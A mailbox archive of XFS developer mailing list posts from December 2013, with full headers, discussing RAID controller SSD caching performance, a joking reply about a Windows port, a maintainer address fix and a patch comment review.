Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Dave Chinner CC: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <20131209014002.GP31386@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386618678 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/8/2013 7:40 PM, Dave Chinner wrote: > On Sun, Dec 08, 2013 at 06:58:07PM -0600, Stan Hoeppner wrote: >> On 12/8/2013 9:03 AM, Emmanuel Florac wrote: >>> Le Sat, 07 Dec 2013 23:22:07 -0600 vous criviez: >>> >>>>> Thanks for the great advice, I think you are on to something >>>>> there. I will >>>> >>>> You're welcome. Full disclosure: I should have mentioned that I >>>> haven't used CacheCade yet myself. My statements WRT performance are >>>> based on available literature and understanding of the technology. >>> >>> I didn't test thoroughly cachecade though I have a license code >>> somewhere, however I've used the equivalent Adaptec feature and one SSD >>> roughly double the IOPS of a RAID-6 array of 15k RPM SAS drives from >>> about 4200 IOPS to 7500 IOPS. >> >> Emmanuel do you recall which SSD you used here? 7500 IOPS is very low >> by today's standards. What I'm wondering is if you had an older low >> IOPS SSD, or, a modern high IOPS rated SSD that performed way below its >> specs in this application. > > It's most likely limited by the RAID firmware implementation, not > the SSD. In Emmanuel's case I'd guess the the X25 32GB is applying a little more pressure to the brake calipers than his RAID card. The 32GB X25 is rated at 33K read IOPS but an abysmal 3.3K write IOPS. So his 15K SAS rust is actually capable of more write IOPS, at 4.2K. http://ark.intel.com/products/56595/ His Adaptec 51645 has a 1.2GHz dual core PPC RAID ASIC and is rated at 250K IOPS. This figure probably includes some wishful thinking on Adaptec's part, but clearly the RAID ASIC is much faster than the Intel X25 SSD, which is universally known to be a very very low performer. >> The Samsung 840 Pro I recommended is rated at 90K 4K write IOPS and >> actually hits that mark in IOmeter testing at a queue depth of 7 and >> greater: >> http://www.tomshardware.com/reviews/840-pro-ssd-toggle-mode-2,3302-3.html > > Most RAID controllers can't saturate the IOPS capability of a single > modern SSD - the LSI 2208 in my largest test box can't sustain much > more than 30k write IOPS with the 1GB FBWC set to writeback mode, > even though the writes are spread across 4 SSDs that can do about > 200k IOPS between them. 2208 card w/4 SSDs and only 30K IOPS? And you've confirmed these SSDs do individually have 50K IOPS? Four such SSDs should be much higher than 30K with FastPath. Do you have FastPath enabled? If not it's now a freebie with firmware 5.7 or later. Used to be a pay option. If you're using an LSI RAID card w/SSDs you're spinning in the mud without FastPath. >> Its processor is a 3 core ARM Cortex R4 so it should excel in this RAID >> cache application, which will likely have gobs of concurrency, and thus >> a high queue depth. > > That is probably 2x more powerful as the RAID controller's CPU... 3x 300MHz ARM cores at 0.5W vs 1x 800MHz PPC core at ~10W? The PPC core has significantly more transistors, larger caches, higher IPC. I'd say this Sammy chip has a little less hardware performance than a singe LSI core, but not much less. Two of them would definitely have higher throughput than one LSI core. >> Found a review of CacheCade 2.0. Their testing shows near actual SSD >> throughput. The Micron P300 has 44K/16K read/write IOPS and their >> testing hits 30K. So you should be able to hit close to ~90K read/write >> IOPS with the Samsung 840s. >> >> http://www.storagereview.com/lsi_megaraid_cachecade_pro_20_review > > Like all benchmarks, take them with a grain of salt. There's nothing > there about the machine that it was actually tested on, and the data > sets used for most of the tests were a small fraction of the size of > the SSD (i.e. all the storagemark tests used a dataset smaller than > 10GB, and the rest were sequential IO). The value in these isn't in the absolute numbers, but the relative before/after difference with CacheCade enabled. > IOW, it was testing SSD resident performance only, not the > performance you'd see when the cache is full and having to page > random data in and out of the SSD cache to/from spinning disks. The CacheCade algorithm seems to be a bit smarter than that, and one has some configuration flexibility. If one has a 128 GB SSD and splits it 50/50 between read/write cache, that leaves 64 GB write cache. The algorithm isn't going to send large streaming writes to SSD when the rust array is capable of greater throughput. So the 64 GB write cache will be pretty much dedicated to small random write IOs and some small streaming writes where the DRAM cache can't flush to rust fast enough. Coincidentally, fast random write IO is where SSD cache makes the most difference, same as DRAM cache, by decreasing real time seek rate of the rust. I'm guessing most workloads aren't going to do enough random write IOPS to fill 64 GB, and then cause cache thrashing while the SSD tries to flush to the rust. The DRAM cache on LSI controllers, in default firmware mode, buffers every write and then flushes it disk, often with optimized ordering. In CacheCode mode only some writes are buffered to the SSD, and these bypass the DRAM cache completely via FastPath. The logic is load adaptive. So an obvious, and huge, advantage to this is that one can have a mixed workload with say a 1GB/s streaming write going through DRAM cache to the rust, with a concurrent 20K IOPS random write workload going directly to SSD cache. Neither workload negatively impacts the other. With a pure rust array the IOPS workload seeks the disks to death and the streaming write crawls at a few MB/s. The workload that Mike originally described is similar to the above, and thus a perfect fit for CacheCade + FastPath. -- Stan From jeffrey.hundstad@mnsu.edu Mon Dec 9 14:34:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A8F97F81 for ; Mon, 9 Dec 2013 14:34:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id ED3A38F8040 for ; Mon, 9 Dec 2013 12:33:56 -0800 (PST) X-ASG-Debug-ID: 1386621235-04cb6c537b64f970001-NocioJ Received: from mavmail.mnsu.edu (cas1.Campus.MNSU.EDU [134.29.1.201]) by cuda.sgi.com with ESMTP id 15O4Mpp4jCV9Hj0u (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 09 Dec 2013 12:33:55 -0800 (PST) X-Barracuda-Envelope-From: jeffrey.hundstad@mnsu.edu X-Barracuda-Apparent-Source-IP: 134.29.1.201 Received: from [134.29.32.1] (134.29.1.100) by CAS1.Campus.mnsu.edu (134.29.1.201) with Microsoft SMTP Server (TLS) id 14.3.158.1; Mon, 9 Dec 2013 14:33:54 -0600 Message-ID: <52A62932.6000605@mnsu.edu> Date: Mon, 9 Dec 2013 14:33:54 -0600 From: Jeffrey Hundstad User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131103 Icedove/17.0.10 MIME-Version: 1.0 To: Subject: [humor] Re: XFS...Windows? References: <000001cef46c$ab687cc0$02397640$@mail.com> <52A5F249.1060505@sandeen.net> X-ASG-Orig-Subj: [humor] Re: XFS...Windows? In-Reply-To: <52A5F249.1060505@sandeen.net> Content-Type: text/plain; charset="windows-1252"; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Connect: cas1.Campus.MNSU.EDU[134.29.1.201] X-Barracuda-Start-Time: 1386621235 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142968 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/09/2013 10:39 AM, Eric Sandeen wrote: > On 12/8/13, 5:24 PM, Yuji Saeki wrote: >> Congratulations on your file system, its quite nice. Ive >> benchmarked it myself, its very impressive. Im curious though, is >> there are thought to a Windows driver? If someone ported the most >> current-stable version to Windows (free) under the same license GNU >> Lesser General Public License with entire credit to XFS > XFS isn't under the LGPL, it's GPL, as is the rest of the kernel code, > and the license terms should be quite clear. > >> would SGI >> be okay with that? A no-warranty implied (etc) kind of protection >> of course. Quite a few devs that I work with enjoy the XFS filesystem >> and we dev in both Linux and Windows. Were very interested in making >> this happen with respect to the XFS project. > I'm not a lawyer, but it's not really an issue of opinion - it's a legal > matter. If you can port XFS to Windows while maintaining the terms > of the license agreements on both ends, you're free to do so. > > The technical difficulty of such a task is another matter as well. :) To keep it standards compliant with your new OS, you'd want to change it just a tiny bit to make it incompatible with the normal XFS, patent that bit and claim it's an industry standard. From bpm@sgi.com Mon Dec 9 16:13:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AC4EF7F7D for ; Mon, 9 Dec 2013 16:13:07 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 53E02304048; Mon, 9 Dec 2013 14:13:04 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 31ADC4266DC; Mon, 9 Dec 2013 16:13:04 -0600 (CST) Date: Mon, 9 Dec 2013 16:13:04 -0600 From: Ben Myers To: Namjae Jeon Cc: david@fromorbit.com, Namjae Jeon , xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Message-ID: <20131209221304.GY1935@sgi.com> References: <1386513230-4914-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386513230-4914-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Sun, Dec 08, 2013 at 11:33:50PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > When I tried to send the patches to XFS Maintainers, > I got returned mail included delivery fail message for Dave's mail. > Maybe, Dave Chinner mail address is incorrect. > I try to fix it correctly. > > Signed-off-by: Namjae Jeon Sorry about that Dave. Thanks Namjae. -Ben From david@fromorbit.com Mon Dec 9 16:21:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 306F27F81 for ; Mon, 9 Dec 2013 16:21:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F7338F8033 for ; Mon, 9 Dec 2013 14:21:51 -0800 (PST) X-ASG-Debug-ID: 1386627707-04cb6c537c654fe0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id MnEAeBfxwkbTGQUS for ; Mon, 09 Dec 2013 14:21:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkMSAP1BplJ5LHyk/2dsb2JhbABZgwc4pGUDjzGFUIErF3SCJQEBBAEyASMjBQsIAxgJJQ8FJQMhE4d8BQ7AcxaOegeEMwOYE5IUgz0ogSwH Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Dec 2013 08:51:34 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vq9Cl-0001uo-O9; Tue, 10 Dec 2013 09:21:31 +1100 Date: Tue, 10 Dec 2013 09:21:31 +1100 From: Dave Chinner To: Stan Hoeppner Cc: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131209222131.GX10988@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption References: <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> <52A61F3A.7040504@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52A61F3A.7040504@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386627707 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 01:51:22PM -0600, Stan Hoeppner wrote: > On 12/8/2013 7:40 PM, Dave Chinner wrote: > > On Sun, Dec 08, 2013 at 06:58:07PM -0600, Stan Hoeppner wrote: > >> On 12/8/2013 9:03 AM, Emmanuel Florac wrote: > >>> Le Sat, 07 Dec 2013 23:22:07 -0600 vous criviez: > >> The Samsung 840 Pro I recommended is rated at 90K 4K write IOPS and > >> actually hits that mark in IOmeter testing at a queue depth of 7 and > >> greater: > >> http://www.tomshardware.com/reviews/840-pro-ssd-toggle-mode-2,3302-3.html > > > > Most RAID controllers can't saturate the IOPS capability of a single > > modern SSD - the LSI 2208 in my largest test box can't sustain much > > more than 30k write IOPS with the 1GB FBWC set to writeback mode, > > even though the writes are spread across 4 SSDs that can do about > > 200k IOPS between them. > > 2208 card w/4 SSDs and only 30K IOPS? And you've confirmed these SSDs > do individually have 50K IOPS? Of course - OCZ Vertex4 drives connected to my workstation easily sustain that. Behind a RAID controller, nothing near it. I can get 70kiops out of the 4 of them on read, but the RAID controller is the bottleneck. > Four such SSDs should be much higher > than 30K with FastPath. Do you have FastPath enabled? It's supposed to be enabled by default in the vendor firmware and cannot be disabled. There's no obvious documentation on how to set it up, so I figured it was simply enabled for my "virtual RAID0 driver per SSD" setup. After googling around a bit, I found that this method of exporting the drives isn't sufficient - you have to specifically configure the caching correctly i.e. you have to turn off readahead and change it to use writethrough caching. /me changes the settings and reboots everything. Wow, I get 33,000 IOPS now. That was worth the change... Hold on, let me run something I know is utterly write IO bound /me runs mkfs.ext4 and... Oh, great, *another* goddamn hang in the virtio blk_mq code..... > If not it's now > a freebie with firmware 5.7 or later. Used to be a pay option. If > you're using an LSI RAID card w/SSDs you're spinning in the mud without > FastPath. Yeah, well, it's still 2.5x faster than the 1078 controller the drives were previously behind, so... > >> Its processor is a 3 core ARM Cortex R4 so it should excel in this RAID > >> cache application, which will likely have gobs of concurrency, and thus > >> a high queue depth. > > > > That is probably 2x more powerful as the RAID controller's CPU... > > 3x 300MHz ARM cores at 0.5W vs 1x 800MHz PPC core at ~10W? The PPC core > has significantly more transistors, larger caches, higher IPC. I'd say > this Sammy chip has a little less hardware performance than a singe LSI > core, but not much less. Two of them would definitely have higher > throughput than one LSI core. Keep in mind that there's more than just CPUs on those SoCs. Often the CPUs are just marshalling agents for hardware offloads, and those little ARM SoCs are full of hardware accelerators... > >> Found a review of CacheCade 2.0. Their testing shows near actual SSD > >> throughput. The Micron P300 has 44K/16K read/write IOPS and their > >> testing hits 30K. So you should be able to hit close to ~90K read/write > >> IOPS with the Samsung 840s. > >> > >> http://www.storagereview.com/lsi_megaraid_cachecade_pro_20_review > > > > Like all benchmarks, take them with a grain of salt. There's nothing > > there about the machine that it was actually tested on, and the data > > sets used for most of the tests were a small fraction of the size of > > the SSD (i.e. all the storagemark tests used a dataset smaller than > > 10GB, and the rest were sequential IO). > > The value in these isn't in the absolute numbers, but the relative > before/after difference with CacheCade enabled. > > > IOW, it was testing SSD resident performance only, not the > > performance you'd see when the cache is full and having to page > > random data in and out of the SSD cache to/from spinning disks. > > The CacheCade algorithm seems to be a bit smarter than that, and one has > some configuration flexibility. If one has a 128 GB SSD and splits it > 50/50 between read/write cache, that leaves 64 GB write cache. The > algorithm isn't going to send large streaming writes to SSD when the > rust array is capable of greater throughput. Still, the benchmarks didn't stress any of this, and were completely resident in the SSD. It's not indicative of the smarts that the controller might have, nor of what happens in eal world workloads which have to operate on 24x7 timescales, not a few minutes of benchmarking... So, while the tech might be great, the benchmarks sucked at demonstrating that. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 9 16:24:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 67B247F87 for ; Mon, 9 Dec 2013 16:24:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 56E658F8033 for ; Mon, 9 Dec 2013 14:24:37 -0800 (PST) X-ASG-Debug-ID: 1386627875-04cb6c537e655240001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id XAoSpEz1fUygpYV6 for ; Mon, 09 Dec 2013 14:24:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgEIAP1BplJ5LHyk/2dsb2JhbABZgwe0UYVQgSsXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIAcBqFxaOegeEMwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Dec 2013 08:54:34 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vq9Fh-0001vC-Mu; Tue, 10 Dec 2013 09:24:33 +1100 Date: Tue, 10 Dec 2013 09:24:33 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131209222433.GY10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209181612.GA22183@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386627875 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 10:16:12AM -0800, Christoph Hellwig wrote: > On Mon, Dec 09, 2013 at 09:36:10AM +1100, Dave Chinner wrote: > > > + /* > > > + * Even after flushing the inode, there can still be > > > + * delalloc blocks on the inode beyond EOF due to > > > + * speculative reallocation. These are not removed > > > > "speculative preallocation" > > I just re-indented the comment, the wording is the original one. Maybe > we'll get a commit that cares enought to fix it on the fly.. Actually, I checked that before commenting on it - the original comment is correct: 626 /* 627 * even after flushing the inode, there can still be delalloc 628 * blocks on the inode beyond EOF due to speculative 629 * preallocation. These are not removed until the release 630 * function is called or the inode is inactivated. Hence we 631 * cannot assert here that ip->i_delayed_blks == 0. 632 */ I wouldn't have pointed at it if the original code had that problem... :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Dec 9 16:30:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 938537F88 for ; Mon, 9 Dec 2013 16:30:56 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 140EDAC005; Mon, 9 Dec 2013 14:30:53 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B72C44266DC; Mon, 9 Dec 2013 16:30:52 -0600 (CST) Date: Mon, 9 Dec 2013 16:30:52 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131209223052.GZ1935@sgi.com> References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> <20131209222433.GY10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209222433.GY10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Tue, Dec 10, 2013 at 09:24:33AM +1100, Dave Chinner wrote: > On Mon, Dec 09, 2013 at 10:16:12AM -0800, Christoph Hellwig wrote: > > On Mon, Dec 09, 2013 at 09:36:10AM +1100, Dave Chinner wrote: > > > > + /* > > > > + * Even after flushing the inode, there can still be > > > > + * delalloc blocks on the inode beyond EOF due to > > > > + * speculative reallocation. These are not removed > > > > > > "speculative preallocation" > > > > I just re-indented the comment, the wording is the original one. Maybe > > we'll get a commit that cares enought to fix it on the fly.. > > Actually, I checked that before commenting on it - the original > comment is correct: > > 626 /* > 627 * even after flushing the inode, there can still be delalloc > 628 * blocks on the inode beyond EOF due to speculative > 629 * preallocation. These are not removed until the release > 630 * function is called or the inode is inactivated. Hence we > 631 * cannot assert here that ip->i_delayed_blks == 0. > 632 */ > > I wouldn't have pointed at it if the original code had that > problem... :/ If you want to extend your Reviewed-by: on this patch I will clean up the spelling mistake and pull in this series. -Ben From eflorac@intellique.com Mon Dec 9 16:43:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DB137F92 for ; Mon, 9 Dec 2013 16:43:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3960D304043 for ; Mon, 9 Dec 2013 14:43:09 -0800 (PST) X-ASG-Debug-ID: 1386628983-04bdf0132315fbe0001-NocioJ Received: from smtp2-g21.free.fr (smtp2-g21.free.fr [212.27.42.2]) by cuda.sgi.com with ESMTP id HMgEAC1ycLxt85uI for ; Mon, 09 Dec 2013 14:43:05 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.2 Received: from galadriel.home (unknown [82.235.234.79]) by smtp2-g21.free.fr (Postfix) with ESMTP id A15F44B0B48; Mon, 9 Dec 2013 23:24:16 +0100 (CET) Date: Mon, 9 Dec 2013 23:24:04 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: Dave Chinner , Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131209232404.33492aa2@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <52A61F3A.7040504@hardwarefreak.com> References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> <52A61F3A.7040504@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp2-g21.free.fr[212.27.42.2] X-Barracuda-Start-Time: 1386628983 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Mon, 09 Dec 2013 13:51:22 -0600 vous =C3=A9criviez: > His Adaptec 51645 has a 1.2GHz dual core PPC RAID ASIC and is rated at > 250K IOPS. This figure probably includes some wishful thinking on > Adaptec's part, but clearly the RAID ASIC is much faster than the > Intel X25 SSD, which is universally known to be a very very low > performer. =46rom my own benchmarks, I evaluated the real IOPS performance of these cards at about 45K random 8K KIOPS.=20 --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From eflorac@intellique.com Mon Dec 9 16:49:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 290987F93 for ; Mon, 9 Dec 2013 16:49:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 07CBB8F8033 for ; Mon, 9 Dec 2013 14:49:32 -0800 (PST) X-ASG-Debug-ID: 1386629368-04bdf01322160020001-NocioJ Received: from smtp2-g21.free.fr (smtp2-g21.free.fr [212.27.42.2]) by cuda.sgi.com with ESMTP id TqSYeqGxnnSTCbRB for ; Mon, 09 Dec 2013 14:49:30 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.2 Received: from galadriel.home (unknown [82.235.234.79]) by smtp2-g21.free.fr (Postfix) with ESMTP id 24B394B104D; Mon, 9 Dec 2013 23:30:39 +0100 (CET) Date: Mon, 9 Dec 2013 23:30:28 +0100 From: Emmanuel Florac To: Dave Chinner Cc: Stan Hoeppner , Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131209233028.27ee7154@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <20131209222131.GX10988@dastard> References: <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> <52A61F3A.7040504@hardwarefreak.com> <20131209222131.GX10988@dastard> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp2-g21.free.fr[212.27.42.2] X-Barracuda-Start-Time: 1386629368 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 